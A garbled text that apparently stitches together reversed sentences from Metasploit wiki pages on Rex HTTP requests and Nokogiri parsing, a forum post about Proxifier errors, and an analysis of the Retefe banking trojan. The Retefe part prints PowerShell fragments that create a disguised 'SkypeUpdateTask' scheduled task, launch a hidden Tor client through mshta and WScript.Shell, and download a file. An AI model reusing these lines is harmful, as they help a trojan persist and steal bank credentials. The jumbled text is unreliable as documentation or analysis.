If you are a Metasploit module developer, the () directory should be more than enough for most of your needs. Modules normally do not interact with Rex directly, instead they depend on the framework core and its mixins for better code sharing. The Rex library (Ruby Extension Library) is the most fundamental piece of the Metasploit Framework architecture. # How to send an HTTP request using Rex::Proto::Http::Client -0,0 1,225 This documentation may need to be vetted.** * ]ĭiff -git a/metasploit-framework.wiki/How-to-send-an-HTTP-request-using-Rex-Proto-Http-Client.md b/metasploit-framework.wiki/How-to-send-an-HTTP-request-using-Rex-Proto-Http-Client.md To get the JSON body from Rex::Proto::Http::Response, do: The rest should be pretty similar to parsing HTML. error reporting, debugging, profiling and more - 445Star10d Py. Figure 3-3 shows a few different encodings for 32-bit words. To get the XML body from Rex::Proto::Http::Response, do: NET Assemblies, PE files, and other Windows payloads from memory and runs them. Kernel Network subsystem T Kernel/User mode boundary - J- Network >- CO System libraries. Use the #traverse method for complex parsing. Use the #children method to get all the child elements. Use the #parent method to find the parent element. Use the #previous method to roll back to the previous element. Use the #next method to move on to the next element. With an element, simply call #attributes. If you actually want to keep the HTML tags, then instead of calling #text, call #inner_html. "\n\nHello, World!\n\n\n\nHello\nHola\nBonjour\n\n\n" The #text method can also be used as a trick to strip all the HTML tags: When you have an element, you can always call the #text method to grab the text. Let's say we want to find all the DIV elements, then here's how: The #search method returns an array of elements. Or let's say I don't know what element the word "Bonjour" is in, then I can be a little vague about this: Let's say I only know there's a DIV element that says "Bonjour", and I want to grab it, then I can do: greeting = an element with a specific text** Let's say I don't want the English Hello, I want the Spanish one. **Grabbing an element with a specific attribute** Consider the following example as your HTML response: The main difference is that the #at method will only return the first result, while the #search will return all found results (in an array). There are two common methods in Nokogiri to find elements: #at and #search. This will give you a Nokogiri::HTML::Document, which allows you use the Nokogiri API. When you have a Rex::Proto::Http::Response with HTML in it, the method to call is: If the format you need to parse isn't on the list, then fall back to ```res.body```. However, in this documentation we are only focusing on ```res.body```. If you want to get the raw HTTP response (including the response message/code, headers, body, etc), then you can simply do: With a Rex::Proto::Http::Response object, here's how you can retrieve the HTTP body: The return value for ```res``` is a Rex::Proto::Http::Response object, but it's also possible you get a NilClass due to a connection/response timeout. obfu = ::Rex::Exploitation::ObfuscateJS.new(js) $settings_file= $p_fold 'Settings. The obfuscated version would look like the following: $tor_cmd= "`"javascript:close(new ActiveXObject('WScript.Shell').Run('$tor',0,false))`"" ĪddTask 'SkypeUpdateTask' 'mshta.exe' $tor_cmd ( New-Object ).DownloadFile( '', $7zaExe) Luis Rocha explained it some months ago in his blog. This is how Retefe malware operates to steal the username/passwords of the customers. You can replly either english or deutsch. The same is true for Excel, Microsoft Office 2010, etc. I have for a couple of weeks the following message from a lot of different programs, i.e.: PROXIFIER PE ERROR (32 bit subsystem) \Adobe\Reader11.0\AcroRd32.exe. The set of URL that goes through the Tor connection are many Swiss banks and Austrian banks. PROXIFIER PE ERROR (32 bit subsystem) Hi. The proxy tool is setup to forward all the traffic to some specific URLs through a localhost connection, which in reality is the Tor connection established. One of them is a Proxy tool ( Proxifier) and the other is a Tor client. JS script code, however when I executed the code I saw that several applications were installed and executed.
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